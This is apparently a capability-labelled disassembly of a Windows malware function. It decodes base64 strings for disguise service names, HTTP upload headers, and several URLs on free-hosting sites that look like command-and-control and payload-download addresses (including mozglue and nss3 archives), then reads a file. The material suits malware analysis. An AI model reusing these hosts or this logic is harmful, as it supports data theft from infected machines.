Function at 0x6308eaf0
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov edi, 0x630d9020
sub esp, 0x12c
mov esi, dword [ebp + 8]
mov dword [esp], str.Starting_...
call sub.msvcrt.dll_puts
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x630d9028]
mov dword [ebp - 0x11c], eax
dec eax
jg 0x6308eb40
cmp byte [0x630d9030], 0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
je 0x6308ebb1
mov dword [esp], 0x1e61
call ebx
push esi
jmp 0x6308ebb1
mov edi, dword [0x630d902c]
mov ebx, 1
mov esi, dword [edi + ebx*4]
test esi, esi
je 0x6308eba3
mov dword [esp + 4], str.pause
mov dword [esp], esi
call fcn.63084c0b
test al, al
je 0x6308eb6d
mov byte [0x630d9030], 1
mov dword [esp + 4], str.silent
mov dword [esp], esi
call fcn.63084c0b
test al, al
je 0x6308eb88
mov byte [0x630c3301], 0
mov dword [esp + 4], str.nosleep
mov dword [esp], esi
call fcn.63084c0b
test al, al
je 0x6308eba3
mov byte [0x630c3300], 0
inc ebx
cmp dword [ebp - 0x11c], ebx
jne 0x6308eb4b
jmp 0x6308eb25
call fcn.63084c8d
test al, al
je 0x6308ebc6
mov dword [esp], 0
call sub.msvcrt.dll_exit
mov dword [esp], 7
call ebx
mov eax, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push ecx
mov dword [esp], 1
mov dword [ebp - 0x11c], eax
call eax
push edx
mov dword [0x630d9044], eax
lea ebx, [ebp - 0x118]
xor eax, eax
mov ecx, 0x20
mov edi, ebx
rep stosd dword es:[edi], eax
mov dword [esp], ebx
mov dword [esp + 4], str.cGFja2FnZQ
mov edi, ebx
call fcn.63087c5e
mov dword [esp + 4], ebx
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp], 0x63163980
call sub.msvcrt.dll_mbstowcs
xor eax, eax
mov ecx, 0x20
rep stosd dword es:[edi], eax
mov dword [esp], ebx
mov dword [esp + 4], str.V2luUkFS
mov edi, ebx
call fcn.63087c5e
mov dword [esp + 4], ebx
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp], 0x63163880
call sub.msvcrt.dll_mbstowcs
xor eax, eax
mov ecx, 0x20
rep stosd dword es:[edi], eax
mov dword [esp], ebx
mov dword [esp + 4], str.U2hhcmVJdCBTZXJ2aWNl
mov edi, ebx
call fcn.63087c5e
mov dword [esp + 4], ebx
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp], 0x63163780
call sub.msvcrt.dll_mbstowcs
xor eax, eax
mov ecx, 0x20
rep stosd dword es:[edi], eax
mov dword [esp], ebx
mov dword [esp + 4], str.U2VhcmNoSGVscGVy
mov edi, ebx
call fcn.63087c5e
mov dword [esp + 4], ebx
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp], 0x63163680
call sub.msvcrt.dll_mbstowcs
xor eax, eax
mov ecx, 0x20
rep stosd dword es:[edi], eax
mov dword [esp], ebx
mov dword [esp + 4], str.U2VhcmNoIEhlbHBlcg
mov edi, ebx
call fcn.63087c5e
mov dword [esp + 4], ebx
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp], 0x63163580
call sub.msvcrt.dll_mbstowcs
xor eax, eax
mov ecx, 0x20
rep stosd dword es:[edi], eax
mov dword [esp], ebx
mov dword [esp + 4], str.Y29tMw
mov edi, ebx
call fcn.63087c5e
mov dword [esp + 4], ebx
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp], 0x63163480
call sub.msvcrt.dll_mbstowcs
xor eax, eax
mov ecx, 0x20
rep stosd dword es:[edi], eax
mov dword [esp], ebx
mov dword [esp + 4], str.R2Z4VUk
mov edi, ebx
call fcn.63087c5e
mov dword [esp + 4], ebx
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp], 0x63163380
call sub.msvcrt.dll_mbstowcs
xor eax, eax
mov ecx, 0x20
rep stosd dword es:[edi], eax
mov dword [esp], ebx
mov dword [esp + 4], str.SW50ZWwgR1BV
mov edi, ebx
call fcn.63087c5e
mov dword [esp + 4], ebx
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp], 0x63163280
call sub.msvcrt.dll_mbstowcs
mov dword [esp + 4], str.R0VUICVzIEhUVFAvMS4xDQpIb3N0OiAlcw0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBhcjsgcnY6MS45LjAuNSkgR2Vja28vMjAwODEyMDEyMiBGaXJlZm94LzMuMC41DQpBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA0KQWNjZXB0LUxhbmd1YWdlOiBlbixlbi11cztxPTAuNyxlbjtxPTAuMw0KQWNjZXB0LUVuY29kaW5nOiBkZWZsYXRlDQpBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuNywqO3E9MC43DQoNCg
mov dword [esp], 0x63162e80
call fcn.63087c5e
mov dword [esp + 4], str.UE9TVCAlcyBIVFRQLzEuMQ0KSG9zdDogJXMNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgYXI7IHJ2OjEuOS4wLjUpIEdlY2tvLzIwMDgxMjAxMjIgRmlyZWZveC8zLjAuNQ0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4sZW4tdXM7cT0wLjcsZW47cT0wLjMNCkFjY2VwdC1FbmNvZGluZzogZGVmbGF0ZQ0KQWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0KS2VlcC1BbGl2ZTogMzAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSVzDQpDb250ZW50LUxlbmd0aDogJWQNCg0KLS0lcw0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSIlcyI7IGZpbGVuYW1lPSIlcyINCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQoNCg
mov dword [esp], 0x63162a80
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3N1cHBvcnRiYWNrdXAuZXN5LmVzL2MvYzEzLnBocA
mov dword [esp], 0x63162480
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3N1cHBvcnRzZXJ2aWNlLm5ldGFpLm5ldC9jL2MxMy5waHA
mov dword [esp], 0x63162580
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3N1cHBvcnRiYWNrdXAuZXN5LmVzL2MvYzEzLnBocA
mov dword [esp], 0x63162680
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3N1cHBvcnRzZXJ2aWNlLm5ldGFpLm5ldC9jL2MxMy5waHA
mov dword [esp], 0x63162780
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL2JhY2t1cHN1cHBvcnQuZXN5LmVzL3ovYzEzLnBocA
mov dword [esp], 0x63162880
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL2JhY2t1cHN1cHBvcnQuY29teGEuY29tL3ovYzEzLnBocA
mov dword [esp], 0x63162980
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3F1aWNrcy5ob2wuZXMvYzEzL2R3bjEzLmRtcA
mov dword [esp], 0x63162080
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3F1aWNrLmNvbXVmLmNvbS9jMTMvZHduMTMuZG1w
mov dword [esp], 0x63162180
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL2JhY2t1cHN1cHBvcnQuY29teGEuY29tL3ovZHduMTMuZG1w
mov dword [esp], 0x63162280
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL2JhY2t1cHN1cHBvcnQuZXN5LmVzL3ovZHduMTMuZG1w
mov dword [esp], 0x63162380
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3F1aWNrcy5ob2wuZXMvYzEzL2FkLnBocA
mov dword [esp], 0x63161e80
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3F1aWNrLmNvbXVmLmNvbS9jMTMvYWQucGhw
mov dword [esp], 0x63161f80
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3NydjcwLnB1dGRyaXZlLmNvbS9wdXRzdG9yYWdlL0Rvd25sb2FkRmlsZUhhc2gvQUIzNDVFQ0QzQTVBNEE1UVFXRTIwNDQzNjZFV1FTL21vemdsdWUuZ3o
mov dword [esp], 0x63161a80
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL2IzLmdlLnR0L2dldHQvNVhidFp2YjIvbW96Z2x1ZS5nej9pbmRleD0w
mov dword [esp], 0x63161b80
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3F1aWNrcy5ob2wuZXMvYzEzL21vemdsdWUuZ3o
mov dword [esp], 0x63161c80
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3F1aWNrLmNvbXVmLmNvbS9jMTMvbW96Z2x1ZS5neg
mov dword [esp], 0x63161d80
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3NydjcwLnB1dGRyaXZlLmNvbS9wdXRzdG9yYWdlL0Rvd25sb2FkRmlsZUhhc2gvODc2QUQ1RUUzQTVBNEE1UVFXRTIwNDQzNjdFV1FTL25zczMuZ3o
mov dword [esp], 0x63161680
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL2IzLmdlLnR0L2dldHQvNVhidFp2YjIvbnNzMy5nej9pbmRleD0x
mov dword [esp], 0x63161780
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3F1aWNrcy5ob2wuZXMvYzEzL25zczMuZ3o
mov dword [esp], 0x63161880
call fcn.63087c5e
mov dword [esp + 4], str.aHR0cDovL3F1aWNrLmNvbXVmLmNvbS9jMTMvbnNzMy5neg
mov dword [esp], 0x63161980
call fcn.63087c5e
call fcn.63087823
call fcn.63087929
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov eax, dword [0x630d902c]
mov dword [esp + 8], pe_nt_image_headers32
mov eax, dword [eax]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_mbstowcs
mov dword [esp], ebx
call fcn.63087d8b
mov dword [esp + 4], 0x630c4232
mov dword [esp], 0x6315fe80
call dword [sym.imp.msvcrt.dll__wfopen]
test eax, eax
mov ebx, eax
je 0x6308f010
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov dword [esp], ebx
call sub.msvcrt.dll_ftell
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov esi, eax
mov dword [esp], ebx
call sub.msvcrt.dll_fseek
mov edx, 0x63163aa0
xor eax, eax
mov ecx, 0x20000
mov edi, edx
cmp esi, 0x80000
rep stosd dword es:[edi], eax
mov eax, 0x80000
mov dword [esp + 0xc], ebx
mov dword [esp + 4], 1
cmovg esi, eax
mov dword [esp], edx
mov dword [esp + 8], esi
call sub.msvcrt.dll_fread
mov dword [esp], ebx
mov dword [0x63163a80], eax
call sub.msvcrt.dll_fclose
mov edx, 0x630d9034
xor eax, eax
mov ecx, 4
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 4], edx
mov dword [esp], 0x630c5a8a
call fcn.63085166
mov dword [esp], str.Start_the_kInit_...
call sub.msvcrt.dll_puts
call fcn.6308e5d9
mov eax, dword [0x630d9044]
mov dword [esp], eax
call dword [ebp - 0x11c]
push eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret